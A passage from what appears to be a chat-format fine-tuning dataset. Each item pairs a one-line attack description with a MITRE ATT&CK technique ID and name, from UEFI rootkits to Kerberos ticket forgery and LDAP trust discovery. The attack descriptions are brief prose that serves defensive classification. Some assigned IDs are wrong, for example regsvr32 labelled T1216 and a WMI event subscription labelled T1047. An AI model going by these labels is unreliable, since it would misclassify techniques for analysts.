                "content": "The threat actor updates the UEFI firmware with a rootkit, enabling persistence across OS reinstalls."
            },
            {
                "role": "assistant",
                "content": "T1542.001 - Pre-OS Boot: System Firmware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker uses the regsvcs command to execute a payload embedded in a .NET DLL, exploiting the System Binary Proxy Execution vector."
            },
            {
                "role": "assistant",
                "content": "T1218.009 - System Binary Proxy Execution: Regsvcs/Regasm"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker calls employees pretending to be IT support, asking them to disclose their credentials over the phone."
            },
            {
                "role": "assistant",
                "content": "T1566.004 - Phishing: Spearphishing Voice"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By abusing the SystemParametersInfo API, the malware programmatically sets a rogue screensaver that loads a DLL executing ransomware code upon activation."
            },
            {
                "role": "assistant",
                "content": "T1546.002 - Event Triggered Execution: Screensaver"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious actor uses a stolen user hash to forge a Kerberos ticket for the SMB service, achieving covert access to internal shares."
            },
            {
                "role": "assistant",
                "content": "T1558.002 - Steal or Forge Kerberos Tickets: Silver Ticket"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors execute `dsquery group` to gather information about domain groups in an on‑premises Active Directory environment."
            },
            {
                "role": "assistant",
                "content": "T1069 - Permission Groups Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The exploit uses NTFS reparse points to redirect file system calls to a hidden directory containing the payload, making it invisible to casual inspection."
            },
            {
                "role": "assistant",
                "content": "T1564.005 - Hide Artifacts: Hidden File System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker creates a Golden Ticket by abusing the KRBTGT hash, enabling them to authenticate as any user and maintain long-term control over the Active Directory environment."
            },
            {
                "role": "assistant",
                "content": "T1558.001 - Steal or Forge Kerberos Tickets: Golden Ticket"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malware sample reads the Chrome passwords database to harvest saved web login credentials."
            },
            {
                "role": "assistant",
                "content": "T1555.003 - Credentials from Password Stores: Credentials from Web Browsers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries query the Confluence REST API to enumerate pages and download attachments containing sensitive documents."
            },
            {
                "role": "assistant",
                "content": "T1213.001 - Data from Information Repositories: Confluence"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During a post‑exploitation phase, the intruder drops a backdoor into termsrv.dll, which is loaded by the Terminal Services service on boot."
            },
            {
                "role": "assistant",
                "content": "T1505.005 - Server Software Component: Terminal Services DLL"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary updates the OS installer image to embed a trojan before deployment."
            },
            {
                "role": "assistant",
                "content": "T1601 - Modify System Image"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious script scrapes public bug bounty platforms for disclosed exploitation techniques and then applies them to similar services identified via internet scans."
            },
            {
                "role": "assistant",
                "content": "T1596.005 - Search Open Technical Databases: Scan Databases"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An advanced persistent threat modifies the browser's certificate store to include a counterfeit root certificate, facilitating seamless traffic decryption for web browsers."
            },
            {
                "role": "assistant",
                "content": "T1553.004 - Subvert Trust Controls: Install Root Certificate"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Remote code execution is achieved by creating a WMI event subscription that triggers a payload when a new user logs on."
            },
            {
                "role": "assistant",
                "content": "T1047 - Windows Management Instrumentation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses a custom C++ binary to invoke the CPUID instruction and obtain processor features."
            },
            {
                "role": "assistant",
                "content": "T1592.001 - Gather Victim Host Information: Hardware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware periodically polls a public web service to retrieve encrypted commands, acting as a dead‑drop resolver for C2 communication."
            },
            {
                "role": "assistant",
                "content": "T1102.001 - Web Service: Dead Drop Resolver"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries scrape internal company wikis and password-protected document shares for credential information."
            },
            {
                "role": "assistant",
                "content": "T1597 - Search Closed Sources"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries set up a VNC tunnel to bypass firewall restrictions and remotely manage the infected endpoint."
            },
            {
                "role": "assistant",
                "content": "T1021.005 - Remote Services: VNC"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing payload runs a PowerShell script that calls Get-WmiObject Win32_BIOS to harvest BIOS version and firmware details."
            },
            {
                "role": "assistant",
                "content": "T1592.001 - Gather Victim Host Information: Hardware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By editing the UNC path of the network logon script, the adversary causes each client to fetch and execute a malicious payload from an external server."
            },
            {
                "role": "assistant",
                "content": "T1037.003 - Boot or Logon Initialization Scripts: Network Logon Script"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses a tool to overwrite the disk's master boot record and partition table, making the system unbootable."
            },
            {
                "role": "assistant",
                "content": "T1561.002 - Disk Wipe: Disk Structure Wipe"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware establishes an internal SOCKS proxy on a compromised workstation to route lateral movement traffic."
            },
            {
                "role": "assistant",
                "content": "T1090.001 - Proxy: Internal Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion employs covert channel techniques by varying packet sizes and timing to signal internal commands."
            },
            {
                "role": "assistant",
                "content": "T1205 - Traffic Signaling"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An intruder crafts a specially named shared object that matches a legitimate library name, which the dynamic linker loads, enabling code execution."
            },
            {
                "role": "assistant",
                "content": "T1574.006 - Hijack Execution Flow: Dynamic Linker Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor captures screenshots of the victim's desktop at regular intervals."
            },
            {
                "role": "assistant",
                "content": "T1113 - Screen Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A script queries a device's API to pull its configuration data for later analysis."
            },
            {
                "role": "assistant",
                "content": "T1602.002 - Data from Configuration Repository: Network Device Configuration Dump"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During intrusion, the attacker modifies the executable's name to include an extra whitespace at the end, exploiting parsers that trim spaces inconsistently."
            },
            {
                "role": "assistant",
                "content": "T1036.006 - Masquerading: Space after Filename"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion leverages an internal SharePoint site to host a malicious HTML file, and emails employees a link to visit the page."
            },
            {
                "role": "assistant",
                "content": "T1534 - Internal Spearphishing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A credential dumping tool was followed by a script that removed the compromised accounts from the Active Directory."
            },
            {
                "role": "assistant",
                "content": "T1531 - Account Access Removal"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A red team script calls verclsid.exe to run a concealed malicious script, taking advantage of the binary's legitimate status."
            },
            {
                "role": "assistant",
                "content": "T1218.012 - System Binary Proxy Execution: Verclsid"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After escalating privileges, the attacker creates a snapshot of a target Azure VM to facilitate later re‑deployment."
            },
            {
                "role": "assistant",
                "content": "T1578.001 - Modify Cloud Compute Infrastructure: Create Snapshot"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor utilizes HTTPS proxy tunneling to hide malicious traffic within normal web requests."
            },
            {
                "role": "assistant",
                "content": "T1573 - Encrypted Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary uses LDAP modify operations to set the userAccountControl attribute to 514, disabling the account."
            },
            {
                "role": "assistant",
                "content": "T1531 - Account Access Removal"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary performs a brute‑force enumeration of AWS S3 bucket names using a wordlist."
            },
            {
                "role": "assistant",
                "content": "T1526 - Cloud Service Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker creates a fake internal IT support ticket system and emails staff a link, asking them to re-enter their domain credentials to resolve a fabricated network issue."
            },
            {
                "role": "assistant",
                "content": "T1598 - Phishing for Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers embed a scheduled Android AlarmManager event that triggers a background service to upload contacts nightly."
            },
            {
                "role": "assistant",
                "content": "T1029 - Scheduled Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary used a watering‑hole attack, compromising a popular industry forum to serve malicious JavaScript to visitors."
            },
            {
                "role": "assistant",
                "content": "T1189 - Drive-by Compromise"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The trojan checks for the presence of VMware driver files (vmhgfs.dll) and alters its behavior if they are found."
            },
            {
                "role": "assistant",
                "content": "T1497.001 - Virtualization/Sandbox Evasion: System Checks"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Clearing of the Event Viewer logs was performed to cover tracks after credential dumping."
            },
            {
                "role": "assistant",
                "content": "T1070.001 - Indicator Removal: Clear Windows Event Logs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor leveraged XSL script processing to bypass application whitelisting by embedding encoded scripts in the stylesheet, which were later executed."
            },
            {
                "role": "assistant",
                "content": "T1220 - XSL Script Processing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker performs a credential brute‑force attack against a poorly protected Reddit account using automated tools."
            },
            {
                "role": "assistant",
                "content": "T1586.001 - Compromise Accounts: Social Media Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing campaign uses a malicious link embedded in a fake invoice PDF, prompting the victim to click and download ransomware from a compromised website."
            },
            {
                "role": "assistant",
                "content": "T1566.002 - Phishing: Spearphishing Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion script re‑generated the server's RSA keys with a 1024‑bit modulus, weakening the cryptographic strength."
            },
            {
                "role": "assistant",
                "content": "T1600.001 - Weaken Encryption: Reduce Key Space"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder uses the BloodHound tool to map out domain groups and their relationships within the network."
            },
            {
                "role": "assistant",
                "content": "T1069.002 - Permission Groups Discovery: Domain Groups"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary creates a new local account with a name prefixed by a dot and sets its shell to /sbin/nologin to hide its presence from regular user listings."
            },
            {
                "role": "assistant",
                "content": "T1564.002 - Hide Artifacts: Hidden Users"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary probes Active Directory trust links to identify additional victim domains they can pivot to."
            },
            {
                "role": "assistant",
                "content": "T1590.003 - Gather Victim Network Information: Network Trust Dependencies"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries install a malicious network provider DLL to intercept and modify user authentication credentials."
            },
            {
                "role": "assistant",
                "content": "T1556.008 - Modify Authentication Process: Network Provider DLL"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker manipulates the OAuth token exchange in a hybrid identity deployment, generating tokens that grant elevated privileges without user interaction."
            },
            {
                "role": "assistant",
                "content": "T1556.007 - Modify Authentication Process: Hybrid Identity"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary gains access to a router's CLI over SSH and runs unauthorized configuration commands to create a backdoor."
            },
            {
                "role": "assistant",
                "content": "T1059.008 - Command and Scripting Interpreter: Network Device CLI"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries drop a crafted Terminal Services DLL into %SystemRoot%\\System32\\rdp, which is later loaded by the RDP service to execute payloads."
            },
            {
                "role": "assistant",
                "content": "T1505.005 - Server Software Component: Terminal Services DLL"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary sets up a cron job on compromised Linux servers to periodically copy stolen credentials to an external IP address."
            },
            {
                "role": "assistant",
                "content": "T1029 - Scheduled Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker leverages a compromised router to perform packet sniffing and inject malicious commands into the communication between IoT devices and their cloud service."
            },
            {
                "role": "assistant",
                "content": "T1557 - Adversary-in-the-Middle"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By placing a rogue executable in a directory with spaces and ensuring the path is referenced without quotes in a startup script, the attacker hijacks the execution flow to run their code with elevated privileges."
            },
            {
                "role": "assistant",
                "content": "T1574.009 - Hijack Execution Flow: Path Interception by Unquoted Path"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "First, a malicious macro drops a small loader which contacts a command-and-control server; the loader then retrieves a larger payload concealed inside a JPEG image over HTTP."
            },
            {
                "role": "assistant",
                "content": "T1104 - Multi-Stage Channels"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor modifies the authorized_keys file of the ec2-user on an AWS EC2 instance to include their own key, enabling stealthy remote access."
            },
            {
                "role": "assistant",
                "content": "T1098.004 - Account Manipulation: SSH Authorized Keys"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor disables Windows Event Logging to hide their activities by stopping the EventLog service."
            },
            {
                "role": "assistant",
                "content": "T1562.002 - Impair Defenses: Disable Windows Event Logging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A post‑exploitation script ran 'wmic product get name,version' to gather software inventory from the compromised host."
            },
            {
                "role": "assistant",
                "content": "T1592.002 - Gather Victim Host Information: Software"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker loads a previous version of the operating system image onto the device to roll back security patches and gain elevated privileges."
            },
            {
                "role": "assistant",
                "content": "T1601.002 - Modify System Image: Downgrade System Image"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries query Reverse DNS lookup services and passive DNS data sets to correlate IPs with domain names."
            },
            {
                "role": "assistant",
                "content": "T1596.001 - Search Open Technical Databases: DNS/Passive DNS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker modifies a public-facing web form to include hidden fields that silently capture submitted data, including passwords and personal information."
            },
            {
                "role": "assistant",
                "content": "T1056.003 - Input Capture: Web Portal Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code is injected via the AppInit_DLLs mechanism, ensuring the malicious DLL runs whenever a graphical user session starts."
            },
            {
                "role": "assistant",
                "content": "T1546.010 - Event Triggered Execution: AppInit DLLs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware authors take over a VPS and use it to distribute updated malware variants to victims."
            },
            {
                "role": "assistant",
                "content": "T1584.003 - Compromise Infrastructure: Virtual Private Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware employs a legitimate system utility like 'regsvr32' to load a malicious script as a proxy, thereby executing code while appearing benign."
            },
            {
                "role": "assistant",
                "content": "T1216 - System Script Proxy Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries harvest credentials from a compromised workstation and reuse the legitimate username/password pairs to log into remote servers."
            },
            {
                "role": "assistant",
                "content": "T1078 - Valid Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker performs a live memory analysis of securityd to recover saved password hashes."
            },
            {
                "role": "assistant",
                "content": "T1555.002 - Credentials from Password Stores: Securityd Memory"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor leverages an internal proxy server hijacked via credential theft to relay command and control communications."
            },
            {
                "role": "assistant",
                "content": "T1090.001 - Proxy: Internal Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker resets the local admin account password on a wireless access point, gaining unrestricted network access."
            },
            {
                "role": "assistant",
                "content": "T1556.004 - Modify Authentication Process: Network Device Authentication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware leverages rundll32.exe to call a DLL's exported function, providing a stealthy execution vector."
            },
            {
                "role": "assistant",
                "content": "T1218.011 - System Binary Proxy Execution: Rundll32"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion sets up a malicious TLS callback in a trusted binary, enabling code execution during thread startup."
            },
            {
                "role": "assistant",
                "content": "T1055.005 - Process Injection: Thread Local Storage"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion tool inspects the system's network connection list to identify active communication endpoints."
            },
            {
                "role": "assistant",
                "content": "T1049 - System Network Connections Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses a polyglot file that appears as a PNG image but contains an embedded ELF binary payload."
            },
            {
                "role": "assistant",
                "content": "T1027.009 - Obfuscated Files or Information: Embedded Payloads"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor embeds a malicious executable within an image file's metadata, allowing the payload to be executed when the image is processed."
            },
            {
                "role": "assistant",
                "content": "T1027.009 - Obfuscated Files or Information: Embedded Payloads"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing email delivers a payload that runs 'whoami /all' to reveal the current user's group memberships."
            },
            {
                "role": "assistant",
                "content": "T1069.001 - Permission Groups Discovery: Local Groups"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor injects a malicious VBA macro into a corporate PowerPoint template so that the code executes whenever a user creates a new presentation from that template."
            },
            {
                "role": "assistant",
                "content": "T1137.001 - Office Application Startup: Office Template Macros"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors leverage LDAP queries against the “trustedDomain” attribute to map inter‑domain trust relationships."
            },
            {
                "role": "assistant",
                "content": "T1482 - Domain Trust Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
